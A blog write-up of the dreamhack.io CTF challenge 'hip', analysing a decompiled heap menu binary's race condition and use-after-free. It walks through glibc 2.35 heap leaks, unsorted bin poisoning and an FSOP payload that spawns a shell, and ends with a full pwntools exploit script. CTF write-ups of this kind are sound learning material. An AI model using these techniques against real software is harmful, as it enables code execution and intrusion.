BACK TO ALL BLOGS

r_jh0213's hip - dreamhack.io

8/26/2026
binary exploitdreamhack.io

Challenge Description

File Type

bash
1$ file prob
2prob: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, BuildID[sha1]=52bd4817fd7f7ec6dbdf2a40b70e2debf7ef4290, for GNU/Linux 3.2.0, stripped

Binary Protection

bash
1$ checksec prob
2[*] './prob'
3 Arch: amd64-64-little
4 RELRO: Full RELRO
5 Stack: Canary found
6 NX: NX enabled
7 PIE: PIE enabled
8 SHSTK: Enabled
9 IBT: Enabled

Preview

  • Preview output of binary execution:
plaintext
11. malloc
22. edit
33. free
44. exit
5>
61
7>
80
91. malloc
102. edit
113. free
124. exit
13>
14end
154

Decompiled Code

  • Glibc version 2.35
c
1struct Element {
2 long long size;
3 int idx;
4 char *data;
5};
6
7Element* gStore[16];
8
9int __fastcall start_routine(void *a1)
10{
11 int v1; // ebx
12 void **p_data; // rbx
13 int id; // [rsp+18h] [rbp-28h]
14 int i; // [rsp+1Ch] [rbp-24h]
15 int j; // [rsp+20h] [rbp-20h]
16 int k; // [rsp+24h] [rbp-1Ch]
17
18 id = gIdx;
19 // Timeout
20 for ( i = 0; i <= 999; ++i )
21 {
22 for ( j = 0; j <= 999; ++j )
23 {
24 for ( k = 0; k <= 999; ++k )
25 id ^= i;
26 }
27 }
28 v1 = gIdx;
29 gStore[v1] = (Element *)malloc(0x18uLL);
30 gStore[gIdx]->size = 256LL;
31 gStore[gIdx]->id = id;
32 p_data = &gStore[gIdx]->data;
33 *p_data = malloc(0x100uLL);
34 return puts("end");
35}
36
37unsigned __int64 allocate()
38{
39 pthread_t newthread; // [rsp+0h] [rbp-10h] BYREF
40 unsigned __int64 v2; // [rsp+8h] [rbp-8h]
41
42 v2 = __readfsqword(0x28u);
43 puts("> ");
44 __isoc99_scanf("%u", &gIdx);
45 if ( gIdx <= 15 && !gInUsed[gIdx] )
46 {
47 gInUsed[gIdx] = 1;
48 pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
49 pthread_detach(newthread);
50 }
51 return v2 - __readfsqword(0x28u);
52}
53
54ssize_t edit()
55{
56 ssize_t result; // rax
57
58 puts("> ");
59 __isoc99_scanf("%u", &gIdx);
60 result = gIdx;
61 if ( gIdx <= 15 )
62 {
63 result = (unsigned int)gInUsed[gIdx];
64 if ( (_DWORD)result )
65 {
66 write(1, gStore[gIdx]->data, 256uLL);
67 puts("> ");
68 return read(0, gStore[gIdx]->data, 256uLL);
69 }
70 }
71 return result;
72}
73
74void deallocate()
75{
76 puts("> ");
77 __isoc99_scanf("%u", &gIdx);
78 if ( gIdx <= 15 )
79 {
80 if ( gInUsed[gIdx] )
81 {
82 gInUsed[gIdx] = 0;
83 free(gStore[gIdx]->data);
84 free(gStore[gIdx]);
85 }
86 }
87}
88
89void __noreturn handle()
90{
91 __int64 choice; // [rsp+0h] [rbp-10h] BYREF
92 unsigned __int64 canary; // [rsp+8h] [rbp-8h]
93
94 canary = __readfsqword(0x28u);
95 while ( 1 )
96 {
97 menu();
98 __isoc99_scanf("%lld", &choice);
99 if ( choice == 4 )
100 break;
101 if ( choice <= 4 )
102 {
103 switch ( choice )
104 {
105 case 3LL:
106 deallocate();
107 break;
108 case 1LL:
109 allocate();
110 break;
111 case 2LL:
112 edit();
113 break;
114 }
115 }
116 }
117 exit(0);
118}

Vulnerability

  • This program allocate the memory in a separate asynchronous thread using start_routine() function. However, it makes modifications to global variables but doesn't use a mutex lock. This leads to race condition vulnerability
  • deallocate() function doesn't assign NULL to the variable after the object is freed. This is a use-after-free vulnerability.

Exploitation

Leak Heap Address and Libc

  • This challenge allows us to malloc and free 16 objects at the same time, which is more than maximum chunk in a bucket of tcache (max is 7).
  • Each time deallcate() function is called, it frees 2 chunks whose size are 0x20 and 0x110.
  • Therefore, I just need to allocate and deallocate first 7 objects to fulfill the tcache. This ensures that in the 8 times deallocate() function is called, the 0x110-byte chunk will be put into unsorted bin
python
1for i in range(7):
2 malloc(i, 3)
3 free(i)
4
5...
6
7free(7)
  • Then, if I make a malloc operation and call edit() immediately. It will print out the address of main_arena and a freed chunk before (which is tcache for created thread).
python
1malloc(7)
2target.sendlineafter(b"> ", b"2")
3target.sendlineafter(b"> \n", b"7")
4
5heap_base = u64(target.recv(8)) - 0xE90
6libc.address = u64(target.recv(8)) - 0x21ACE0
7info(f"Heap base: {hex(heap_base)}")
8info(f"Libc base: {hex(libc.address)}")
  • This because at the beginning of start_routine, there are 3 nested loops which take about 1-2 seconds to actually allocate the memory. However, at that moment, its state stored in global array is set to true. That means I can make edit or free operation on a freed chunk before it is actually assigned to the new one. In this situation, freed chunk is containing fd and bck pointer which are main_arena in libc and other freed chunk; so I use edit to print them out. Then I just need to write the exactly last byte of the address of fd which won't be changed. This makes sure that unsorted bin is still valid

Unsorted Bin Poisoning

  • Most of objects are created with 2 contiguous chunks of 0x20 bytes and 0x110 bytes in heap memory.
  • Therefore, I decided to create a fake chunk lying on 2 adjacent active objects in heap memory, and put it into unsorted bin. This chunk contains a 0x20-byte chunk of the last object corresponding to its struct Element.
  • By this way, once this fake chunk is allocated, I can change the data field of that victim object to an arbitrary address and I will be able to do an arbitrary write to that address.
  • Here, I created fake chunk between 9th and 10th object. The victim object is 10th one:
python
1# Fake chunk started at 0x1580, ended at 0x1690
2payload = b"\x00" * 0xE8 + p64(0x111)
3payload += p64(heap_base + 0x1230) + p64(heap_base + 0x1360)
4edit(9, payload)
5
6payload = b"\x00" * 8 * 24 + p64(0x110) + p64(0x20) + 0x18 * b"\x00" + p64(0x21)
7edit(10, payload)
8
9fake_chunk = heap_base + 0x1580
  • Next, I have to find a place to put that fake chunk in unsorted bin. I have no permission to write to main_arena or freed tcache chunk, so I must free 2 different chunks of 2 objects and place the fake chunk into between them. I chose the 7th and 8th object.

  • However, I cannot use the above way to edit a freed chunk, that way only reveals fd and bck pointer.

  • There is a trick that when I call 2 allocate() functions with 2 different elements continuously. Both of their states are true (active), but one element still contains freed chunk. With this way, I have ability to edit a freed chunk.

  • Here is my implementation for 7th object:

python
1free(7)
2free(11)
3malloc(7)
4malloc(11)
5time.sleep(5)
6free(11)
  • Then I just need to edit those freed chunks to place fake chunk into between them.
python
1payload = p64(fake_chunk) + p64(libc.address + 0x21ACE0)
2edit(8, payload)
3payload = p64(libc.address + 0x21ACE0) + p64(fake_chunk)
4edit(7, payload)
  • After that, I made 3 malloc operation to assign the fake chunk. At first, there are only 2 chunks of 0x20 bytes in fastbins so I have to free another object to before the third operation is performed.
python
1malloc(2, 3)
2malloc(3, 3)
3free(14)
4malloc(4, 3)

Get Shell

  • Fake chunk will be assigned to the 4th object. Then I edited it to change data pointer of 10th object to _IO_2_1_stdout_
python
1stdout = libc.symbols["_IO_2_1_stdout_"]
2payload = b"\x00" * 0x18 + p64(0x21) + p64(0x100) + p64(0xA) + p64(stdout)
3edit(4, payload)
  • Finally, I used FSOP technique to get shell:
python
1fake_file = libc.sym["_IO_2_1_stdout_"]
2payload = flat(
3 {
4 # fake_file->file._flags
5 # requirements:
6 # (_flags & 0x0002) == 0
7 # (_flags & 0x0008) == 0
8 # (_flags & 0x0800) == 0
9 # basic approach with spaces:
10 # " sh\x00"
11 # 0x20, 0x73, 0x68, 0x00
12 0x00: b" sh\x00",
13 # fake_file->file._wide_data->_IO_write_base
14 0x08: p64(0),
15 0x18: p64(0),
16 # fake_file->file._IO_write_base
17 0x20: p64(0),
18 # fake_file->file._IO_write_ptr
19 0x28: p64(1),
20 # fake_file->file._wide_data->_IO_buf_base
21 0x30: p64(0),
22 # fake_file->file._wide_data->_wide_vtable->__doallocate
23 0x58: libc.symbols["system"],
24 # fake_file->file._lock
25 0x88: libc.address + 0x21CA70,
26 # fake_file->file._wide_data
27 0xA0: fake_file - 0x10,
28 # fake_file->file._mode
29 0xC0: p64(0),
30 # fake_file->file._wide_data->_wide_vtable
31 0xD0: fake_file - 0x10,
32 # fake_file->vtable
33 0xD8: libc.symbols["_IO_wfile_jumps"] - 0x20,
34 }
35)
36
37edit(10, payload)

Exploit Code

python
1from pwn import *
2
3context.terminal = [
4 "kitty",
5 "@",
6 "launch",
7 "--type=os-window",
8 "--cwd={}".format(os.getcwd()),
9 "sh",
10 "-c",
11]
12context.log_level = "debug"
13context.arch = "amd64"
14
15TARGET = "./bin/prob"
16LIBC = "./lib/libc.so.6"
17
18if args.REMOTE:
19 target = remote("host3.dreamhack.games", 10397)
20elif args.LOCAL:
21 target = process(TARGET)
22else:
23 gdbscript = """
24 brva 0x1749
25 c
26 """
27 target: process | remote = gdb.debug(TARGET, gdbscript, env={"SHELL": "/bin/sh"})
28
29exe = ELF(TARGET)
30libc = ELF(LIBC) if os.path.exists(LIBC) else None
31
32
33def malloc(idx: int, s: int = 0):
34 target.sendlineafter(b"> ", b"1")
35 target.sendlineafter(b"> ", str(idx).encode())
36 time.sleep(s)
37
38
39def edit(idx: int, msg: bytes):
40 target.sendlineafter(b"> ", b"2")
41 target.sendlineafter(b"> ", str(idx).encode())
42 target.sendafter(b"> ", msg)
43
44
45def free(idx: int):
46 target.sendlineafter(b"> ", b"3")
47 target.sendlineafter(b"> ", str(idx).encode())
48
49
50for i in range(7):
51 malloc(i, 3)
52 free(i)
53
54malloc(0)
55malloc(1)
56time.sleep(5)
57
58for i in range(7, 16):
59 malloc(i, 3)
60
61free(7)
62malloc(7)
63target.sendlineafter(b"> ", b"2")
64target.sendlineafter(b"> \n", b"7")
65
66heap_base = u64(target.recv(8)) - 0xE90
67libc.address = u64(target.recv(8)) - 0x21ACE0
68info(f"Heap base: {hex(heap_base)}")
69info(f"Libc base: {hex(libc.address)}")
70target.sendafter(b"> ", b"\x90")
71time.sleep(5)
72
73# Fake chunk started at 0x1580, ended at 0x1690
74payload = b"\x00" * 0xE8 + p64(0x111)
75payload += p64(heap_base + 0x1230) + p64(heap_base + 0x1360)
76edit(9, payload)
77
78payload = b"\x00" * 8 * 24 + p64(0x110) + p64(0x20) + 0x18 * b"\x00" + p64(0x21)
79edit(10, payload)
80
81fake_chunk = heap_base + 0x1580
82
83free(7)
84free(11)
85malloc(7)
86malloc(11)
87time.sleep(5)
88free(11)
89
90free(8)
91free(12)
92malloc(8)
93malloc(12)
94time.sleep(5)
95free(12)
96
97payload = p64(fake_chunk) + p64(libc.address + 0x21ACE0)
98edit(8, payload)
99payload = p64(libc.address + 0x21ACE0) + p64(fake_chunk)
100edit(7, payload)
101
102malloc(2, 3)
103malloc(3, 3)
104free(14)
105malloc(4, 3)
106
107stdout = libc.symbols["_IO_2_1_stdout_"]
108payload = b"\x00" * 0x18 + p64(0x21) + p64(0x100) + p64(0xA) + p64(stdout)
109edit(4, payload)
110fake_file = libc.sym["_IO_2_1_stdout_"]
111payload = flat(
112 {
113 # fake_file->file._flags
114 # requirements:
115 # (_flags & 0x0002) == 0
116 # (_flags & 0x0008) == 0
117 # (_flags & 0x0800) == 0
118 # basic approach with spaces:
119 # " sh\x00"
120 # 0x20, 0x73, 0x68, 0x00
121 0x00: b" sh\x00",
122 # fake_file->file._wide_data->_IO_write_base
123 0x08: p64(0),
124 0x18: p64(0),
125 # fake_file->file._IO_write_base
126 0x20: p64(0),
127 # fake_file->file._IO_write_ptr
128 0x28: p64(1),
129 # fake_file->file._wide_data->_IO_buf_base
130 0x30: p64(0),
131 # fake_file->file._wide_data->_wide_vtable->__doallocate
132 0x58: libc.symbols["system"],
133 # fake_file->file._lock
134 0x88: libc.address + 0x21CA70,
135 # fake_file->file._wide_data
136 0xA0: fake_file - 0x10,
137 # fake_file->file._mode
138 0xC0: p64(0),
139 # fake_file->file._wide_data->_wide_vtable
140 0xD0: fake_file - 0x10,
141 # fake_file->vtable
142 0xD8: libc.symbols["_IO_wfile_jumps"] - 0x20,
143 }
144)
145
146edit(10, payload)
147
148target.interactive()